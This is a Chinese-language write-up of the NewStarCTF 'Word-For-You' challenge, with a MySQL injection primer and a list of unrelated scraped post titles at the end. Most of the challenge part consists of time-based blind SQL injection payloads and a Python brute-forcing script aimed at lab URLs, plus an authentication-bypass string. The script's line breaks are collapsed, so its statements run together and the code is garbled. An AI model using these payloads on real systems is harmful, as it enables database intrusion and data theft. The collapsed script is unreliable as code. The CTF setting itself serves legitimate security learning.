[NewStarCTF] Word-For-You
基础知识补充
在开启题目前,先来点知识补充吧,我猜大家很多都是跟我一样的手工注入的菜鸟吧
mysql简单基本用法:
1)查库:select schema_name from information_schema.schemata;
2) 查表:select table_name from information_schema.tables where table_schema='security';
3)查列:select column_name from information_schema.columns where table_name='users';
4) 查字段:select username,password from security.users;
注释符号:
1)--+
2)-- --后面有一个空格
3)#
limit:
SELECT * FROM users WHERE id='3'' LIMIT 0,1
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。
单引号判断
$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;最为经典的单引号判断法: 在参数后面加上单引号,比如:http://xxx/abc.php?id=1'如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
order by
order by n:通过第n列进行排序,默认升序。
用来判断表中的数据有多少列,用二分法进行测试。
Mysql函数
1) SYSTEM_USER() 返回当前用户; SELECT SYSTEM_USER();
2) USER() 返回当前用户 SELECT USER();
3) CURRENT_USER() 返回当前用户 SELECT CURRENT_USER();
4) DATABASE() 返回当前数据库名 SELECT DATABASE();
5) VERSION() 返回数据库的版本号 SELECT VERSION();
6) @@datadir 返回mysql安装路径 SELECT @@DATADIR;
7) @@version_compile_os 返回当前操作系统 SELECT @@version_compile_os;
8) GROUP_CONCAT() 将所有的数据拼接后作为一行进行显示
9) CONCAT_WS('~',A,B) 以A~B的形式将数据显示出来
10) left()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
11) regexp函数: select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式
12) like函数: select user() like ‘ro%’ 匹配与regexp相似。
13) substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度
14) ascii() 将某个字符串转化为ascii值
15) chr(数字) 或者是ord(‘字母’) 使用python中的两个函数可以判断当前的ascii值是多少
参考:[(97条消息) mysql之group_concat函数详解_Garfield_cat_cat的博客-CSDN博客_group_concat()](
开启题目
已经提示flag放在了数据库中,所以不用多想直接找注入点。点击链接进入
既然提示我们输入NewCTFer,那我们就输入看看
没有什么东西,只是链接变了。
那我们点击留言,然后查看,发现疑似注入点的地方
那我们就测试一些,发现无论怎么判断都不会有错误回显,尝试用时间盲注试试。
与正常的对比,发现确实存在时间盲注,那么这个时候就有很多方法了。
第一种方法
要是不嫌麻烦,想锻炼一些自己,那就直接手工注入(推荐新手用手工的方法,能加深印象),由于我刚接触手工注入不久,所以为了更快熟练掌握这些sql语句,我是手工注入的。直接贴payload,感兴趣的可以试试
1.判断数据库长度
判断数据库长度:?name=2' and if((length(database())=3),sleep(5),0)--+
2.爆数据库名称
第一种:爆数据库名称:1' and if(left((select database()),3)='wfy',sleep(2),0) --+
第二种:爆数据库的方法?name=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 3,1),2,1)) =102,sleep(2),0)--+ #可以判断有多少个数据库
第三种:?name=1' and if(ascii(substr((select database()),1,1))=119,sleep(2),0)--+
得到数据库:wfy
3.爆表
1)判断表的个数:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 2,1),1,1)) >1,sleep(2),0)--+ #修改limit n,1得值判断出有3个表
2)判断表名长度:?name=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'wfy' limit 0,1),9,1)) >1,sleep(2),0)--+ #修改substr(x,n,1) n得值判断长度
得到三个表:wfy_admin, wfy_comments, wfy_information
4.爆列
?name=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'wfy_admin' limit 0,1),2,1))=100,sleep(2),0)--+
wfy_admin: | Id | cookie | password | username |
wfy_comments:| id | name | text | user | display |
wfy_information:|header | title
5.爆数据
要用like再wfy_comments的列text进行模糊查询,%flag%查出id=100,然后反向查询
?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like '%flag%' limit 0,1),8,1))=45,sleep(2),0)--+
?name=1' and if(ascii(substr((select text from wfy.wfy_comments where id=100 limit 0,1),8,1))=45,sleep(2),0)--+
由于我是刚接触手工注入不久,这个手工注入的方法我搞了挺久的,因为一直出错误,心态炸裂了好几次,要不是我之前用 sqlmap 先爆出了数据库、表名和列名,我更加会奔溃。大家也可以先用sqlmap把一些数据跑出来,然后再手工注入。因为这可以验证你的手工注入是否正确,或者将你的sql语句在mysql命令行下面运行寻找错误。而且因为sqlmap不能爆出数据,所以flag要自己搞出来。最重要的是幸亏我学过sql,想到用like进行模糊查询。说实话,我刚开始是尝试用user,username,name=”Mr.H“进行查询的发现什么都找不到,后面突然想到用like查询flag。还是题目见少了,反应的太慢了。
第二种
也就是类似第一种,sqlmap+手工,这里不多说
第三种
用时间盲注脚本跑数据,数据库,表名,列名都可以跑出来,最后的数据还是需要自己用手工的方法先把flag的id找出来,然后再爆出id值所对应的数据,本来尝试用脚本跑id的但是出了错误,然后就不了了之了。先贴脚本在分析一下出现的问题吧。
# coding:utf-8
import requests
import datetime
import time# 获取数据库名长度def database_len():for i in range(1, 10):url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"payload = "?name=1' and if(length(database())>%s,sleep(1),0) --+" % i# print(url+payload+'%23')time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >= 1:print(i)else:print(i)breakprint('database_len:', i)#获取数据库名
def database_name():name = ''for j in range(1,9):for i in '0123456789abcdefghijklmnopqrstuvwxyz':url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php"payload = "?name=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)#print(url+payload)time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:name += iprint(name)breakprint('database_name:', name)def table_names(): #这里没必要先判断表的个数,因为x-->limit %d,1。对应这第几个数据库,直接暴力破解for x in range(0,10):name = ''for y in range(1,20):for z in '0123456789abcdefghijklmnopqrstuvwxyz_':url = "http://ba88a7a9-4350-4433-9f54-f2147dd8af91.node4.buuoj.cn:81/comments.php" #urlpayload = "?name=1' and if((substr((select table_name from information_schema.tables\where table_schema = 'wfy' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z) #table_schema='数据库名'time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:name += zprint(name)breakprint('table_name:', name)def column_names():for x in range(0,10):name = ''for y in range(1,20):for z in '0123456789abcdefghijklmnopqrstuvwxyz_':url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #urlpayload = "?name=1' and if((substr((select column_name from information_schema.columns \where table_name = 'wfy_comments' limit %d,1),%d,1))='%s',sleep(3),0)--+" %(x,y,z) #table_schema='表名'time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:name += zprint(name)breakprint("column_name:", name)#def id_values(): ids = '' for x in range(1,100):for y in range(100): url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #urlpayload ="?name=1' and if(ascii(substr((select id from wfy.wfy_comments where text like('flag%')) limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y) time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:ids += chr(y)print(ids)breakprint(ids)
#这里出错了不能把id搞出来def data(): #这里有点怪,要不就是有{}没大写,要不就是有{}没大写,搞不懂,可能是字符的原因,换ascii值比较应该可以flags = '' #要是不加上{}这两个字符,字母大小就是正常显示的真的奇怪。for x in range(1,100):for y in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPKRSTUVWXYZ": #'{' ,'}' ,'_' url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #urlpayload = "?name=1' and if((substr((select text from wfy.wfy_comments \where id=100 limit 0,1),%d,1))='%s',sleep(5),0)--+" %(x,y) #table_schema='表名'time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:flags += yprint(flags)breakprint(flags)# 这个数据爆的还是有一点小问题,不知道是靶场的问题还是什么,但是我之前手工注入就把flag正确的搞出来了,用脚本还出了点问题
# ,就是大小写的问题,真的不知道怎么搞得# def data(): #换成ascii比较也不行,真的有点奇怪,和我之前手工注入的不同,个别字母大小写出了问题
# flags = ''
# for x in range(1,100):
# for y in range(128):
# url = "http://812bec68-cf18-4b8d-b495-c772e9ed7363.node4.buuoj.cn:81/comments.php" #url
# payload = "?name=1' and if(ascii(substr((select text from wfy.wfy_comments \
# where id=100 limit 0,1),%d,1))='%d',sleep(5),0)--+" %(x,y) #table_schema='表名'
# time1 = datetime.datetime.now()
# r = requests.get(url + payload)
# time2 = datetime.datetime.now()
# sec = (time2 - time1).seconds
# if sec >=3:
# flags += chr(y)
# print(flags)
# break
# print(flags)
if __name__ == '__main__':# database_name() #数据库名table_names() #表名# column_names() #列明# id_values() #列中的id值,由于这个题目的原因所以需要先查询id,id值还是需要手工来搞,用脚本好像有点问题,得不偿失# data() #数据,flag
这里面出了挺多问题的,但是问题不是很大,因为用脚本跑的时候总会漏掉一些单词,不知道怎么回事我感觉我的脚本写的也没什么问题,但是就是会漏一些单词,很奇怪。尤其是最后爆flag的时候,大小写一直出错误,要是不再字符串中加入’{’ ,‘}’,字符串的大小写与flag的差不多,但是加了’{’ ,'}'之后全变成小写了。有没有大佬能解释一下呀,我猜是靶场的问题,不知道是不是。希望碰到大佬能解惑。贴几张错误的结果图
总结:
这也是我自己第一次独立用手工写出的注入题目,纪念一下。说实话这个题目真的把我搞崩溃了好几次,因为就在sqli-labs上跟着视频学了几天,对于我这个小白来说还是有点困难的。而且就算我知道是用时间盲注来搞,我也在网上查阅了很多时间盲注的一些知识。而且在进行手工注入的时候sql语句老是出问题,因为开题目之后我又用sqlmap先跑,然后再手工注入,靶场老是崩掉,人都麻了。还是想知道我这个脚本是出问题了还是怎么了,我试过用ascii值比较,还是不能正确爆出flag,也会出现大小写错误的情况。还是推荐先使用sqlmap将相关的数据爆出来(我是使用bp+sqlmap来爆破的)。望大佬解惑,为什么会出现大小写错误的情况。
补充:
后面看一些大佬的wp发现直接用万能密码就直接搞出来 1’ or 1=1 or ‘1,经验还是太少了呀。但是好歹学到了时间盲注这个点,继续加油。
[NewStarCTF] Word-For-You相关推荐
- BUUCTF NewStarCTF一些新知识记录
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...
- 使用hello word写小说
2021-11-12 使用hello word写小说
- html 实现动态在线预览word、excel、pdf等文件
word+excle+pdf表格在线浏览 通过iframe直接引用微软提供的方法 <iframe src='https://view.officeapps.live.com/op/view.as ...
- 办公word,ppt,excel问题
20220401 要改变图片的位置,把其布局改成浮于文字上方,就可以随意移动图片的位置了 改成浮于文字上方后,图片后面不能再写内容,可以先在图片写完内容之后再把图片设置为 浮于文字上方这样就可以解决问 ...
- python读取word
处理前 先去掉文件中不要的表格 在企查查查询企业信息的时候,得到了一些word文件,里面有些控股企业的数据放在表格里,需要我们将其提取出来. 查看全文 http://www.taodudu.cc/ne ...
- GloVe:另一种Word Embedding方法
GloVe 和 其他模型的关系 当看到GloVe拍脑门找到loglog函数的时候,就觉得和word2vec中应用language model有几分类似. 其实确有千丝万缕的联系的,推一推,会发现两者的 ...
- 打开word出现“您正试图运行的函数包含有宏或需要宏语言支持的内容。”的解决方法
1.Word选项→加载bai项→管理→转到--,转到→把勾勾都取消→确定即可. 2.工具→宏->安全性→可靠发行商,将下方的选择框中的钩清空,再将宏安全性改为最高. 3.可能是初次安装Offic ...
- .net导出到Excel与Word中(带上下标)
//输出到excel的函数,可直接copy到 cs页面 private void OutExcel(GridView dg, string name) { dg.Vis ...
- [Quiz]竞赛题目 Word Trace
一.竞赛题目 Problem Statement You are given a String[] grid representing a rectangular grid of letters ...
- python批量pdf转word,python批量实现Word文件转换为PDF文件
本文为大家分享了python批量转换Word文件为PDF文件的具体方法,供大家参考,具体内容如下 1.目的 通过万能的Python把一个目录下的所有Word文件转换为PDF文件. 2.遍历目录 作者总 ...
最新文章
- centos和readhat下安装python2.7
- response.redirect 正在中止线程
- spring boot 完整集成jsp。(亲测可用)
- Python subprocess.check_output 执行shell命令 返回结果(单次执行shell命令)
- 地图大数据来了!中国人口吸引力城市TOP 10
- 知道一点怎么设直线方程_直线初步
- Core Data 学习笔记(二)被管理对象模型
- Atitit.提升语言可读性原理与实践
- paip.android环境搭建与开发事例
- java一键生成海报_小程序生成海报(java后端)
- 旺旺机器人的快捷短语_快答自动回复软件(自动聊天机器人) v1.6.5.0免费版
- 【VSCode】SSH远程连接服务器
- Fortran 中的common,include和module
- 基于Bootstrap模板创建门户网站vue项目01
- 如何批量从多个 Word 文档中提取图片
- 数据包络分析——二阶段网络带feedback
- html5 跨平台播放器,开源ckplayer 网页播放器, 跨平台(html5, mobile),flv, f4v, mp4, rt...
- 仙人掌 圆方树 || 静态 + 动态 (差动态)
- java 累加函数_请你编写一个方法(函数),功能要求从参数x累加到y,并返回累加后的整数结果。...
- 基于SpringBoot的城市建设用地管理系统的设计与实现